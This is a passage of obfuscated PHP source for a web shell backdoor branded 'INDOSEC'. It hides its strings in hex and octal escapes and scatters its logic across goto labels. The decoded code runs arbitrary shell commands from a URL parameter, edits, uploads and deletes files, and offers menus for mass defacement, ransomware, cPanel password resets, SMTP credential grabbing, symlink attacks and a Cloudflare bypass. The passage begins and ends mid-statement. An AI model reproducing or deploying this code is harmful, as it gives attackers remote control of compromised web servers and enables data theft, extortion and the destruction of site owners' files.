"\120\141\164\x68\x20\72\x20"; goto hhyOO; KpT3J: if ($_GET["\x61\x6b\x73\151"] == "\x72\x61\x6e\x73\x6f\x6d") { ransom($dir, $file); } goto yOFw_; wJqsn: $default_action = "\x46\x69\154\x65\163\115\x61\x6e"; goto ZW7rE; TYnbq: if (isset($_GET["\x64\x69\x72"])) { $dir = $_GET["\x64\151\x72"]; chdir($dir); } else { $dir = getcwd(); } goto ibkH5; Yfk60: @error_reporting(0); goto EeAx4; gBjsA: if ($_GET["\x61\153\163\151"] == "\x64\x69\x73\141\x62\146\165\x6e\143") { disabFunc($dir, $file); } goto UX23f; d8yGS: function editFile($dir, $file, $nfile, $imgfile) { goto JJafO; VkwRn: echo "\74\146\157\162\155\40\x6d\145\x74\x68\157\x64\75\47\x50\117\x53\124\x27\x3e\xd\12\x9\x9\x3c\x68\x35\76{$imgfile}\40\105\x64\x69\164\40\x46\151\154\145\x20\72\40{$nfile}\x3c\57\150\65\76\15\xa\x9\x9\74\164\145\x78\164\141\162\145\x61\x20\162\157\x77\x73\75\x27\61\63\47\x20\x63\154\x61\x73\163\75\x27\146\x6f\x72\155\x2d\143\157\156\164\x72\157\154\47\40\156\x61\x6d\145\75\47\x69\x73\151\x27\x3e" . htmlspecialchars(@file_get_contents($file)) . "\74\57\164\145\170\x74\141\162\145\141\x3e\74\142\x72\x2f\x3e\xd\12\x9\x9\x9\74\142\165\x74\164\157\x6e\40\164\171\160\145\75\47\x73\x75\155\142\x69\164\47\x20\143\x6c\x61\x73\163\75\x27\x62\x74\x6e\40\142\164\156\x2d\151\156\146\157\x20\142\164\x6e\x2d\142\154\x6f\x63\x6b\47\40\x6e\141\155\x65\75\x27\145\144\151\164\x5f\146\x69\154\x65\x27\76\125\x70\x64\141\x74\x65\x3c\x2f\x62\165\x74\x74\x6f\x6e\x3e\15\12\11\74\57\146\x6f\x72\155\x3e"; goto ELdwK; ELdwK: if (isset($_POST["\145\144\151\x74\x5f\146\x69\154\x65"])) { goto ZPFcD; ZPFcD: $updt = fopen("{$file}", "\x77"); goto vocA9; tko2S: if ($hasil) { goto iRXHD; fKfsI: swall($swa, $text, $dir); goto U6Plm; iRXHD: $swa = "\163\165\x63\143\x65\x73\x73"; goto gFaqE; gFaqE: $text = "\x42\145\162\150\x61\x73\x69\154\x20\x55\x70\x64\141\x74\145\40\106\x69\x6c\x65"; goto fKfsI; U6Plm: } else { goto BZl97; BZl97: $swa = "\145\162\x72\x6f\162"; goto ihdSj; sm6GS: swall($swa, $text, $dir); goto EI2Um; ihdSj: $text = "\107\x61\x67\x61\154\40\125\160\144\x61\x74\145\40\106\x69\x6c\x65"; goto sm6GS; EI2Um: } goto qLYiP; vocA9: $hasil = fwrite($updt, $_POST["\151\x73\x69"]); goto tko2S; qLYiP: } goto lOisP; JJafO: echo "\x5b\x20\74\x61\40\150\162\x65\x66\x3d\42\77\x64\151\x72\x3d" . $dir . "\x26\141\x6b\x73\151\75\166\x69\x65\x77\46\x66\151\154\x65\75" . $file . "\42\x3e\114\x69\150\x61\164\x3c\x2f\141\76\x20\x5d\x20\x20\x5b\40\74\141\x20\x63\154\x61\x73\x73\75\x22\x61\143\164\x69\166\x65\42\x20\x68\x72\x65\146\x3d\x22\x3f\x64\x69\162\75" . $dir . "\x26\141\x6b\163\x69\x3d\x65\144\151\164\x26\146\x69\154\x65\75" . $file . "\x22\76\x45\144\x69\x74\x3c\x2f\x61\x3e\40\135\x20\40\133\x20\x3c\141\40\150\162\x65\146\x3d\x22\x3f\x64\x69\162\x3d" . $dir . "\46\x61\x6b\163\x69\x3d\162\145\x6e\x61\x6d\x65\x26\146\151\154\x65\75" . $file . "\x22\x3e\122\145\x6e\141\x6d\145\x3c\x2f\141\76\40\x5d\40\40\x5b\x20\74\x61\x20\x68\162\x65\x66\x3d\42\x3f\x64\x69\x72\x3d" . $dir . "\46\141\x6b\x73\151\75\150\x61\x70\165\163\x66\46\x66\151\x6c\x65\x3d" . $file . "\42\x3e\104\x65\x6c\145\x74\x65\x3c\57\x61\x3e\40\x5d"; goto VkwRn; lOisP: } goto w5cNg; tlikY: if ($_GET["\x61\x6b\163\151"] == "\x63\147\151") { aksicgi($dir, $file); } goto BEmbQ; b023T: @ini_set("\x6d\141\170\x5f\x65\x78\145\x63\165\164\151\157\x6e\137\164\x69\x6d\145", 0); goto IxIib; zepmk: function view($dir, $file, $nfile, $imgfile) { echo "\133\40\74\x61\x20\x63\154\x61\163\x73\x3d\42\x61\143\x74\151\x76\x65\42\40\x68\162\145\146\75\x22\77\x64\x69\x72\75" . $dir . "\46\141\x6b\x73\x69\x3d\x76\x69\145\167\46\x66\x69\154\x65\75" . $file . "\x22\76\114\151\150\141\164\x3c\57\141\x3e\40\x5d\x20\40\x5b\x20\74\x61\40\150\x72\145\146\x3d\42\77\144\151\162\75" . $dir . "\x26\141\153\163\151\x3d\145\144\x69\x74\x26\146\x69\154\145\x3d" . $file . "\x22\x3e\105\x64\x69\x74\x3c\x2f\141\x3e\x20\135\40\40\133\40\74\141\x20\150\x72\x65\146\x3d\x22\77\144\151\x72\75" . $dir . "\x26\x61\153\x73\151\75\162\145\x6e\x61\155\145\46\146\151\154\145\75" . $file . "\42\x3e\x52\x65\x6e\x61\155\x65\x3c\57\x61\76\40\135\40\40\x5b\40\x3c\141\40\x68\162\145\146\x3d\x22\x3f\x64\151\x72\75" . $dir . "\46\141\153\x73\x69\75\150\x61\x70\x75\x73\146\x26\x66\151\154\145\75" . $file . "\42\76\104\x65\x6c\145\164\x65\x3c\x2f\x61\76\x20\135\15\xa\x9\74\x68\x35\x3e" . $imgfile . "\x20\x4c\151\150\141\164\x20\x46\x69\x6c\x65\40\x3a\x20" . $nfile . "\74\57\x68\x35\x3e\xd\12\11\x3c\x74\x65\170\x74\141\162\x65\x61\40\x72\x6f\x77\x73\75\x22\x31\63\42\40\x63\x6c\141\163\x73\75\42\x66\157\162\155\55\x63\x6f\156\164\162\x6f\x6c\42\40\144\151\163\x61\142\154\x65\144\x3d\x22\x22\76" . htmlspecialchars(@file_get_contents($file)) . "\74\x2f\x74\145\x78\164\x61\x72\x65\141\76\x3c\x62\x72\57\x3e"; } goto d8yGS; cx3uU: if ($_GET["\141\x6b\x73\151"] == "\142\x75\141\x74\x5f\x66\x6f\x6c\144\x65\162") { buatFolder($dir, $imgfol); } goto rejeN; wDUXc: if ($_GET["\x61\153\163\151"] == "\142\165\141\164\137\x66\151\x6c\145") { buatFile($dir, $imgfile); } goto QId2Q; Ion9F: if (isset($_GET["\x63\x6d\144"])) { echo "\x3c\x70\162\x65\40\x63\154\141\x73\x73\75\x27\x74\x65\x78\x74\55\x77\150\151\x74\145\47\76" . exe($_GET["\x63\x6d\144"]) . "\74\57\160\162\145\76"; exit; } goto hWdMx; lIdeL: echo "\x3c\x64\x69\166\x20\x63\x6c\x61\163\163\75\42\x63\x6f\x6e\164\141\x69\x6e\145\162\42\x3e\15\xa\11\11\x9\x3c\150\x31\x20\143\154\x61\x73\x73\x3d\x22\164\145\x78\164\x2d\x63\145\x6e\164\x65\162\x22\76\x3c\x61\x20\150\x72\145\146\75\x22\x68\164\164\160\x73\x3a\x2f\x2f\146\141\x63\145\x62\157\x6f\x6b\56\143\x6f\x6d\x2f\111\156\144\x6f\x53\x65\143\x4f\146\x66\x69\143\151\141\x6c\42\x20\163\x74\x79\154\145\75\42\143\x6f\x6c\157\x72\72\43\146\146\146\146\146\x66\73\42\x3e\x7b\x20\x49\116\104\x4f\x53\x45\x43\40\175\x3c\x2f\x68\x31\76\15\12\x9\x9\x9\x3c\143\145\156\x74\x65\162\76\74\x68\x35\76\x53\150\145\x6c\154\40\102\141\x63\x6b\x64\x6f\x6f\x72\74\x2f\x61\x3e\74\57\x68\x35\x3e\74\57\143\x65\x6e\164\x65\x72\x3e\15\xa\x9\x9\11\74\150\162\57\76\xd\xa\x9\11\11\74\x64\151\x76\x20\x63\154\141\x73\x73\x3d\x22\x74\145\170\164\x2d\x63\145\156\x74\145\x72\x22\76\xd\xa\11\11\x9\11\x3c\x64\x69\x76\40\x63\x6c\141\x73\x73\x3d\x22\144\x2d\146\x6c\x65\x78\x20\152\x75\163\164\151\x66\171\55\143\x6f\x6e\164\145\x6e\x74\55\143\145\x6e\164\145\x72\x20\x66\x6c\145\170\55\167\162\141\160\x22\x3e\15\12\x9\x9\x9\x9\x9\74\141\40\150\x72\x65\x66\x3d\42\77\x22\40\x63\154\x61\x73\163\x3d\x22\x66\151\164\x75\162\145\x20\x62\x74\x6e\40\x62\164\x6e\55\x64\x61\x6e\x67\x65\162\40\142\164\x6e\x2d\x73\x6d\x22\x3e\74\151\40\143\154\x61\x73\x73\x3d\x22\x66\141\40\x66\x61\x2d\x68\x6f\155\145\42\x3e\74\57\x69\76\40\x48\x6f\155\145\74\57\141\x3e\xd\12\11\11\11\x9\11\x3c\x61\40\x68\162\145\x66\x3d\x22\x3f\144\151\162\75" . $dir . "\46\141\x6b\x73\151\x3d\165\x70\154\x6f\x61\144\42\x20\x63\x6c\x61\163\x73\x3d\42\146\151\x74\165\162\x65\40\x62\164\x6e\x20\142\x74\x6e\55\x64\141\156\x67\145\162\x20\142\x74\156\x2d\x73\x6d\x22\x3e\74\151\40\x63\154\141\163\x73\75\x22\x66\141\40\x66\x61\55\165\160\x6c\157\x61\x64\x22\x3e\x3c\x2f\151\76\x20\125\160\154\x6f\141\144\74\57\x61\76\15\12\11\11\x9\x9\11\x3c\141\40\x68\x72\x65\x66\75\x22\77\x64\151\162\x3d" . $dir . "\46\x61\153\x73\x69\75\142\165\x61\x74\x5f\146\151\154\x65\42\40\x63\154\x61\x73\163\x3d\42\x66\151\164\165\162\145\40\142\164\x6e\40\142\164\156\x2d\144\x61\156\x67\145\x72\40\142\164\156\55\x73\x6d\42\76\x3c\x69\40\x63\154\x61\x73\163\75\42\146\141\40\146\141\55\x70\x6c\165\x73\55\x63\x69\162\143\x6c\145\42\x3e\74\57\x69\76\40\102\165\x61\164\x20\106\x69\x6c\145\74\x2f\141\76\15\xa\x9\11\11\x9\11\x3c\x61\40\150\162\145\x66\x3d\x22\x3f\x64\151\162\75" . $dir . "\46\141\153\x73\151\x3d\142\165\x61\x74\137\x66\x6f\x6c\x64\x65\162\42\40\143\x6c\x61\x73\163\75\x22\146\151\164\165\x72\x65\x20\x62\x74\156\x20\x62\x74\x6e\55\144\141\x6e\x67\145\162\40\142\x74\156\x2d\163\x6d\x22\x3e\74\x69\x20\143\154\141\163\163\x3d\42\146\141\40\x66\141\x2d\160\154\x75\x73\42\76\x3c\57\x69\76\x20\102\165\141\164\x20\x46\x6f\154\144\x65\162\74\57\x61\76\xd\12\11\11\11\11\11\x3c\x61\40\150\x72\145\x66\75\x22\77\x64\151\x72\x3d" . $dir . "\46\x61\153\163\x69\75\x6d\141\x73\x64\145\x66\x22\40\143\x6c\x61\163\x73\75\x22\x66\151\x74\165\x72\x65\40\142\164\x6e\40\142\x74\x6e\55\144\141\x6e\147\145\162\40\142\164\156\x2d\x73\x6d\42\76\74\x69\40\143\x6c\141\163\163\x3d\42\x66\141\40\x66\141\x2d\x65\x78\143\x6c\141\155\x61\164\x69\157\x6e\55\x74\x72\x69\141\x6e\x67\154\145\42\76\74\x2f\x69\x3e\40\x4d\x61\x73\x73\x20\x44\145\146\x61\143\145\74\x2f\x61\76\xd\xa\x9\11\11\x9\11\x3c\x61\x20\x68\x72\x65\146\x3d\x22\x3f\x64\x69\162\75" . $dir . "\x26\141\153\163\151\x3d\x6d\141\163\144\x65\154\42\40\x63\154\141\163\x73\x3d\42\146\151\164\x75\x72\x65\x20\142\x74\x6e\x20\142\164\156\55\x64\x61\x6e\x67\145\x72\40\x62\164\x6e\x2d\163\155\42\76\74\x69\40\x63\x6c\x61\163\x73\x3d\42\x66\x61\40\146\141\x2d\164\162\141\x73\150\x22\x3e\x3c\57\151\x3e\x20\x4d\141\x73\163\x20\x44\145\154\145\164\x65\74\x2f\141\x3e\15\xa\11\x9\x9\x9\11\x3c\x61\x20\150\162\145\146\x3d\42\77\144\x69\162\x3d" . $dir . "\x26\141\153\x73\x69\x3d\152\x75\155\160\x69\x6e\147\x22\x20\x63\x6c\141\x73\x73\x3d\x22\146\x69\x74\x75\162\145\40\142\x74\156\x20\142\x74\x6e\x2d\x64\x61\x6e\147\145\162\40\142\164\x6e\55\x73\155\42\x3e\x3c\x69\40\143\154\x61\x73\163\x3d\x22\146\x61\x20\x66\141\x2d\x65\170\143\x6c\x61\155\141\x74\151\157\x6e\x2d\164\162\151\x61\x6e\147\154\x65\x22\x3e\74\x2f\151\76\x20\112\165\155\x70\x69\156\x67\x3c\x2f\141\76\xd\12\11\11\x9\x9\11\x3c\x61\x20\150\x72\145\146\75\x22\77\x64\151\162\75" . $dir . "\x26\x61\x6b\x73\151\x3d\x63\157\x6e\146\151\x67\x22\40\143\154\141\x73\163\x3d\42\146\151\164\165\x72\x65\x20\x62\x74\156\40\x62\x74\156\55\144\x61\156\147\x65\x72\x20\142\x74\156\x2d\x73\155\42\x3e\x3c\x69\40\x63\154\x61\163\163\75\x22\146\x61\x20\x66\x61\55\x63\x6f\147\x73\42\x3e\74\57\x69\76\40\103\157\x6e\146\151\x67\74\x2f\141\x3e\15\xa\11\11\11\x9\x9\74\141\40\x68\x72\x65\146\x3d\x22\x3f\144\151\x72\x3d" . $dir . "\46\141\x6b\x73\x69\x3d\141\x64\x6d\x69\x6e\145\162\42\x20\143\154\141\163\163\75\42\146\151\x74\165\x72\145\x20\142\x74\156\x20\142\164\156\x2d\144\x61\156\147\145\162\x20\x62\x74\156\55\163\x6d\42\76\74\x69\x20\x63\154\x61\163\163\x3d\x22\146\141\x20\146\x61\x2d\x75\163\x65\x72\x22\x3e\74\x2f\x69\x3e\x20\x41\144\155\x69\156\145\162\x3c\57\141\x3e\15\xa\11\11\x9\x9\x9\74\141\x20\x68\x72\145\x66\75\x22\x3f\x64\151\x72\75" . $dir . "\x26\x61\x6b\x73\151\x3d\143\x67\151\x22\x20\143\154\x61\163\163\75\42\146\151\x74\165\x72\x65\40\142\x74\156\40\x62\164\156\55\144\x61\156\x67\145\162\40\x62\164\x6e\x2d\163\x6d\42\x3e\x3c\151\40\143\154\141\163\x73\x3d\42\146\x61\40\x66\141\55\x75\163\145\x72\42\x3e\74\x2f\x69\x3e\x20\x43\147\151\x3c\57\x61\76\15\12\x9\11\x9\11\11\74\x61\40\x68\x72\x65\146\75\x22\77\144\x69\162\75" . $dir . "\x26\141\153\x73\151\75\163\x79\155\x6c\x69\156\153\42\x20\143\x6c\x61\x73\163\75\42\x66\x69\164\x75\x72\x65\40\142\164\x6e\40\142\164\156\55\144\x61\x6e\147\x65\162\40\x62\164\156\55\163\155\x22\x3e\x3c\151\x20\x63\154\141\x73\163\x3d\x22\x66\x61\40\146\x61\55\x65\170\x63\x6c\141\155\141\x74\151\157\156\x2d\x63\x69\162\x63\x6c\x65\x22\x3e\x3c\57\151\76\x20\123\x79\155\x6c\151\x6e\153\74\57\x61\x3e\xd\12\x9\11\x9\x9\11\x3c\141\40\150\162\145\x66\75\x22\77\x64\151\162\75" . $dir . "\46\x61\153\x73\x69\75\x62\143\x74\157\x6f\154\x73\42\x20\x63\154\x61\x73\163\75\42\x66\x69\x74\165\162\x65\40\x62\x74\x6e\x20\x62\x74\x6e\x2d\x64\141\156\147\x65\162\x20\x62\164\x6e\x2d\163\155\42\x3e\74\151\x20\143\154\141\163\163\75\x22\146\x61\x73\x20\146\141\55\156\145\164\x77\x6f\162\153\55\x77\x69\x72\x65\144\x22\76\x3c\57\x69\76\40\x4e\x65\x74\x77\157\162\x6b\x3c\57\x61\76\xd\xa\x9\11\x9\11\x9\74\x61\40\x68\x72\145\146\75\x22\x3f\144\151\x72\75" . $dir . "\46\x61\x6b\x73\151\75\162\145\163\x65\164\160\x61\163\163\x63\160\42\40\143\x6c\x61\x73\163\x3d\x22\x66\x69\164\x75\x72\145\40\x62\164\156\x20\x62\x74\156\x2d\x77\x61\162\156\x69\x6e\x67\40\142\x74\156\55\163\155\x22\x3e\74\x69\40\143\154\141\x73\163\x3d\x22\146\x61\x20\x66\141\x2d\153\145\171\x22\76\74\57\151\x3e\40\x41\165\x74\x6f\40\x52\145\163\145\x74\40\x43\x70\141\156\145\154\74\x2f\x61\76\xd\xa\11\x9\11\x9\11\x3c\x61\40\x68\162\145\146\75\x22\77\144\x69\162\x3d" . $dir . "\x26\141\x6b\163\x69\75\x61\x75\x74\145\x64\x75\163\145\162\x22\x20\x63\x6c\141\163\163\75\x22\x66\151\164\x75\x72\x65\40\142\x74\x6e\40\x62\164\x6e\55\x77\x61\x72\x6e\151\x6e\147\x20\142\164\156\x2d\x73\x6d\42\76\x3c\x69\x20\x63\x6c\x61\x73\163\x3d\x22\x66\x61\x73\x20\146\x61\x2d\165\x73\145\x72\55\x65\144\151\x74\42\x3e\74\x2f\x69\x3e\40\101\165\x74\x6f\40\x45\x64\151\x74\x20\125\163\145\x72\x3c\57\141\x3e\15\12\11\11\11\x9\x9\x3c\x61\x20\150\x72\145\x66\x3d\x22\x3f\x64\x69\162\x3d" . $dir . "\x26\x61\153\163\151\75\162\x61\156\x73\157\x6d\x22\x20\x63\154\x61\163\x73\x3d\x22\x66\151\x74\165\x72\145\x20\x62\164\156\40\142\x74\x6e\x2d\x77\x61\x72\156\x69\156\147\x20\142\x74\x6e\x2d\x73\155\42\x3e\x3c\151\x20\x63\154\x61\x73\x73\75\x22\x66\141\142\40\146\x61\55\x6b\x65\x79\143\x64\x6e\42\76\74\x2f\x69\x3e\x20\x52\141\156\x73\x6f\155\167\x61\162\x65\x3c\x2f\141\x3e\15\12\11\x9\x9\11\11\74\x61\40\x68\x72\145\146\x3d\42\x3f\x64\x69\162\x3d" . $dir . "\46\141\153\163\x69\75\x73\x6d\164\x70\x67\x72\141\142\42\40\x63\154\x61\163\x73\x3d\42\x66\151\x74\165\x72\x65\x20\x62\164\x6e\40\x62\164\x6e\55\x77\x61\162\156\x69\156\147\40\x62\x74\x6e\55\163\155\42\x3e\74\151\40\x63\154\141\x73\163\75\42\x66\141\163\40\146\x61\40\x66\x61\55\x65\170\x63\x6c\141\x6d\x61\x74\151\157\156\x2d\143\151\x72\x63\x6c\145\x22\x3e\74\x2f\x69\x3e\x20\x53\115\124\x50\40\107\x72\x61\142\142\145\x72\74\x2f\x61\76\xd\xa\11\11\x9\x9\11\74\141\40\150\x72\x65\146\x3d\x22\x3f\x64\151\162\x3d" . $dir . "\46\x61\153\x73\151\x3d\142\x79\160\141\x73\x63\146\x22\40\143\154\x61\x73\163\75\42\146\x69\164\165\x72\145\x20\x62\x74\x6e\x20\x62\164\156\55\167\141\x72\156\x69\156\147\40\x62\164\156\x2d\x73\155\x22\76\74\151\x20\143\x6c\141\163\163\75\42\x66\141\x73\x20\146\x61\x2d\x63\154\x6f\165\144\42\76\74\x2f\x69\x3e\40\102\171\160\141\x73\163\40\103\x6c\x6f\x75\144\x20\x46\x6c\x61\162\145\74\57\x61\x3e\15\xa\x9\x9\11\11\11\74\141\40\x68\x72\x65\x66\x3d\x22\77\x64\x69\x72\75" . $dir . "\46\x61\x6b\163\x69\75\172\x69\x70\x5f\155\x65\x6e\x75\x22\40\143\154\141\x73\x73\75\42\146\x69\164\x75\162\145\40\x62\164\x6e\40\x62\164\x6e\x2d\x77\x61\x72\x6e\x69\x6e\147\40\x62\164\x6e\x2d\x73\x6d\x22\76\74\151\40\x63\154\141\163\163\75\x22\x66\x61\40\x66\x61\x2d\146\x69\x6c\145\x2d\141\162\x63\150\151\166\x65\x2d\x6f\x22\76\74\57\x69\76\40\132\151\160\x20\115\145\156\x75\74\57\x61\x3e\xd\12\11\11\x9\x9\11\74\141\40\x68\x72\145\x66\x3d\x22\x3f\x61\142\157\x75\x74\x22\x20\x63\154\x61\x73\163\75\x22\x66\x69\164\165\162\145\40\x62\x74\x6e\x20\x62\164\156\55\x77\x61\162\x6e\151\x6e\x67\x20\142\x74\x6e\55\163\x6d\x22\x3e\74\151\x20\x63\x6c\x61\163\163\x3d\42\x66\141\x20\x66\x61\x2d\x69\x6e\146\157\x22\76\x3c\57\151\76\40\x41\x62\x6f\x75\x74\x20\x55\163\x3c\x2f\141\x3e\xd\xa\11\11\x9\x9\11\x3c\x61\x20\x68\162\145\146\x3d\42\77\x6b\145\154\x75\141\x72\42\40\143\x6c\x61\x73\x73\x3d\42\146\x69\164\x75\162\x65\x20\x62\x74\x6e\40\x62\x74\156\x2d\x77\141\162\156\x69\156\x67\x20\142\164\x6e\55\x73\155\42\76\74\x69\40\x63\154\x61\163\x73\75\42\x66\x61\x20\146\141\55\x73\x69\x67\x6e\55\157\x75\x74\x22\76\x3c\x2f\x69\x3e\40\x6b\145\x6c\x75\x61\162\x3c\x2f\141\x3e\xd\12\x9\11\11\x9\x3c\x2f\x64\151\166\x3e\xd\xa\11\11\x9\x3c\57\x64\151\x76\x3e\15\12\11\11\x9\74\144\x69\x76\40\x63\x6c\141\163\x73\x3d\42\x72\157\167\42\76\15\xa\11\11\x9\x9\74\x64\151\x76\x20\x63\x6c\x61\163\x73\75\x22\143\157\154\55\x6d\x64\55\x35\x22\x3e\x3c\x62\x72\57\x3e\xd\12\11\11\x9\11\11\74\150\65\x3e\74\x69\40\143\154\141\x73\x73\75\x22\146\x61\x20\x66\141\x2d\x74\x65\x72\155\151\156\x61\154\42\x3e\x3c\x2f\x69\x3e\124\x65\x72\155\151\x6e\141\154\x20\72\x20\x3c\57\x68\65\x3e\xd\12\11\x9\11\x9\x9\74\x66\x6f\x72\155\76\xd\xa\x9\11\x9\11\11\x9\74\151\156\x70\165\164\x20\x74\171\x70\x65\x3d\x22\164\145\x78\164\42\40\143\154\141\x73\163\x3d\x22\146\157\x72\x6d\55\x63\x6f\156\164\x72\x6f\154\x22\40\156\141\155\x65\75\42\x63\x6d\x64\x22\40\141\165\164\x6f\143\x6f\x6d\160\x6c\145\x74\x65\x3d\x22\x6f\146\x66\42\40\160\154\141\x63\145\x68\157\x6c\144\145\x72\75\42\x69\x64\40\174\40\x75\156\x61\155\145\x20\55\x61\x20\x7c\40\x77\x68\157\x61\x6d\x69\x20\x7c\x20\150\145\x6b\x65\x64\x22\x3e\15\xa\x9\x9\11\11\11\x3c\x2f\x66\157\162\x6d\76\15\xa\11\x9\11\x9\11\74\x68\162\x2f\76\xd\xa\11\x9\x9\11\11\x3c\150\65\76\74\151\40\x63\154\141\163\163\75\42\x66\x61\x20\x66\141\x2d\163\x65\x61\x72\x63\x68\42\x3e\x3c\57\x69\x3e\x20\x49\156\146\x6f\x72\x6d\x61\163\x69\40\x3a\x20\74\x2f\150\65\x3e\15\xa\x9\11\x9\x9\11\74\144\151\x76\40\143\154\141\x73\163\75\x22\143\x61\162\x64\40\x74\141\x62\x6c\145\x2d\x72\x65\x73\x70\x6f\x6e\163\151\x76\145\42\x3e\xd\xa\11\x9\x9\x9\11\11\74\144\151\166\x20\x63\154\141\163\x73\x3d\x22\x63\141\162\144\55\142\x6f\144\171\x22\x3e\15\12\11\11\11\x9\x9\11\11\74\x74\x61\142\x6c\145\40\x63\154\x61\163\x73\75\42\164\x61\142\154\145\40\x69\x6e\146\157\x72\x22\76\15\12\11\x9\x9\x9\x9\x9\x9\11\74\164\x72\76\xd\12\x9\11\x9\11\11\x9\x9\x9\11\74\x74\x64\76\x50\x48\120\74\x2f\164\144\76\15\xa\x9\x9\11\11\x9\11\11\x9\x9\x3c\x74\144\76\x20\x3a\40" . $ver . "\x3c\x2f\x74\144\76\15\12\11\11\11\11\x9\x9\x9\11\74\x2f\x74\162\x3e\xd\12\11\x9\x9\x9\11\x9\11\x9\x3c\164\x72\76\xd\12\11\11\x9\x9\11\x9\x9\x9\11\74\x74\x64\76\111\120\40\123\x65\162\x76\145\x72\x3c\57\x74\144\x3e\15\12\11\11\x9\11\11\11\x9\11\11\74\164\144\x3e\40\x3a\40" . $ip . "\74\x2f\164\144\x3e\xd\xa\11\x9\x9\11\x9\11\x9\x9\x3c\57\164\x72\76\xd\xa\11\11\x9\11\x9\11\x9\x9\x3c\x74\162\76\xd\12\11\x9\x9\11\11\x9\11\x9\11\x3c\164\144\x3e\110\x44\x44\x3c\57\x74\144\76\15\12\11\11\x9\11\x9\x9\11\x9\x9\x3c\164\144\x20\x63\154\x61\x73\163\x3d\x22\x64\55\x66\x6c\145\170\x22\x3e\x54\x6f\164\141\154\x20\x3a\x20" . formatSize($total) . "\x20\106\162\145\x65\40\x3a\x20" . formatSize($free) . "\40\x5b" . $pers . "\x25\135\x3c\x2f\x74\x64\76\15\xa\x9\x9\11\11\x9\11\11\x9\x3c\57\164\162\76\15\xa\x9\x9\x9\11\11\11\11\11\x3c\164\x72\76\xd\12\x9\11\x9\x9\x9\x9\x9\11\x9\74\x74\144\76\x44\157\x6d\x61\151\x6e\74\x2f\x74\x64\x3e\xd\12\11\11\11\x9\11\x9\11\x9\x9\x3c\164\x64\76\72\x20" . $dom . "\x3c\x2f\x74\144\x3e\15\xa\x9\x9\x9\x9\11\x9\x9\x9\x3c\57\164\x72\76\xd\xa\x9\11\x9\11\11\x9\11\x9\x3c\164\x72\x3e\xd\xa\11\11\11\11\x9\x9\11\11\11\74\164\144\76\115\x79\x53\x51\114\74\57\164\144\x3e\15\12\x9\x9\x9\11\x9\11\x9\x9\11\74\164\x64\76\72\x20" . $mysql . "\x3c\x2f\164\144\76\15\xa\x9\x9\11\x9\x9\x9\x9\x9\x3c\x2f\x74\162\76\xd\12\x9\x9\x9\11\x9\11\x9\11\74\164\162\x3e\xd\xa\11\x9\11\11\x9\11\11\x9\x9\74\164\144\76\143\x55\x52\114\x3c\x2f\x74\144\x3e\xd\12\x9\x9\x9\11\11\11\x9\11\11\74\164\x64\76\72\x20" . $curl . "\x3c\x2f\164\144\x3e\xd\xa\x9\x9\11\x9\11\11\11\x9\x3c\x2f\164\x72\76\xd\12\x9\11\11\x9\x9\x9\x9\11\x3c\164\x72\76\15\12\11\x9\11\x9\11\11\11\x9\11\x3c\164\144\76\x4d\x61\x69\154\x65\162\74\57\x74\144\x3e\xd\12\11\11\11\x9\11\x9\x9\x9\11\74\x74\144\x3e\x3a\40" . $mail . "\x3c\57\164\x64\76\xd\xa\x9\11\x9\11\x9\x9\x9\x9\x3c\x2f\164\x72\x3e\xd\xa\x9\11\x9\11\x9\11\11\11\74\x74\x72\76\xd\12\11\x9\x9\x9\x9\11\x9\11\11\74\x74\x64\76\104\x69\x73\141\142\154\x65\40\x46\x75\x6e\143\x74\x69\x6f\156\x3c\x2f\164\x64\76\15\xa\x9\x9\11\x9\x9\x9\11\x9\11\x3c\x74\144\76\72\40" . $show_ds . "\74\x2f\x74\144\x3e\xd\12\x9\11\x9\x9\x9\x9\11\x9\x3c\57\x74\162\76\xd\12\11\x9\11\x9\x9\11\11\x9\x3c\164\162\76\15\12\11\x9\x9\x9\11\x9\x9\x9\11\74\164\x64\x3e\123\x6f\x66\164\x77\141\x72\145\x3c\57\x74\144\x3e\15\12\x9\11\11\11\x9\11\11\11\11\74\164\144\76\x3a\x20" . $sof . "\x3c\57\164\x64\76\xd\12\x9\11\x9\x9\11\x9\x9\11\x3c\57\164\162\x3e\15\xa\11\x9\x9\11\11\x9\11\x9\x3c\x74\162\x3e\xd\12\x9\11\x9\x9\x9\11\x9\11\11\74\164\x64\x3e\x53\x69\x73\x74\x65\x6d\40\117\x70\x65\162\141\x73\x69\74\57\x74\x64\76\15\xa\11\x9\x9\11\11\11\11\11\x9\x3c\x74\144\76\40\x3a\40" . $os . "\74\x2f\x74\x64\76\15\xa\11\11\11\11\x9\x9\11\x9\74\57\x74\162\76\15\12\x9\x9\11\x9\x9\11\x9\x3c\x2f\164\141\x62\154\x65\x3e\xd\12\11\11\x9\x9\11\11\x3c\x2f\x64\151\166\76\xd\xa\11\11\11\x9\11\x3c\57\144\151\x76\x3e\x3c\150\x72\x2f\76\xd\12\11\x9\11\11\74\57\144\x69\x76\x3e\xd\12\11\11\x9\x3c\144\x69\166\40\x63\154\x61\163\x73\x3d\42\143\157\x6c\55\155\x64\55\67\x20\x6d\x74\x2d\x34\42\x3e"; goto TyPNd; cqr2q: if ($_GET["\141\x6b\x73\151"] == "\x63\150\x6d\x6f\x64\x5f\x66\x69\154\x65") { chmodFile($dir, $file, $nfile); } goto wDUXc; lGLyr: function sym404($dir, $file) { goto KavRl; zXBj0: exit; goto UTuJE; KavRl: $cp = get_current_user(); goto oPEQP; oPEQP: if ($_POST["\145\x78\145\143\x75\164\x65"]) { goto wGkxr; KSJBV: $isi = $_POST["\x69\163\x69"]; goto GQdc9; Uf7R1: echo "\74\141\x20\150\162\145\146\x3d\42\57\x69\x6e\144\157\163\x65\x63\137\x73\x79\x6d\64\x30\x34\x2f\42\x20\x74\x61\x72\147\x65\164\x3d\42\x5f\x62\x6c\x61\156\x6b\42\x20\x63\154\141\163\x73\x3d\42\142\164\x6e\x20\142\x74\x6e\x2d\163\165\143\x63\x65\163\163\x20\142\164\156\55\142\x6c\157\x63\x6b\x20\x6d\142\x2d\x33\42\76\103\154\151\x63\x6b\x20\115\145\41\x21\74\57\141\x3e"; goto kYf1I; gdlli: @mkdir("\x69\x6e\x64\x6f\x73\x65\x63\137\x73\x79\155\x34\60\64", 0777); goto YsTJu; YsTJu: $dir = $_POST["\144\x69\162"]; goto KSJBV; GDVee: $inija = fopen("\x69\156\144\x6f\x73\x65\143\137\163\x79\x6d\x34\x30\64\x2f\56\x68\164\x61\x63\143\145\x73\x73", "\x77"); goto eD0UI; eD0UI: @fwrite($inija, "\122\x65\x61\x64\x6d\145\x4e\x61\x6d\x65\x20" . $isi . 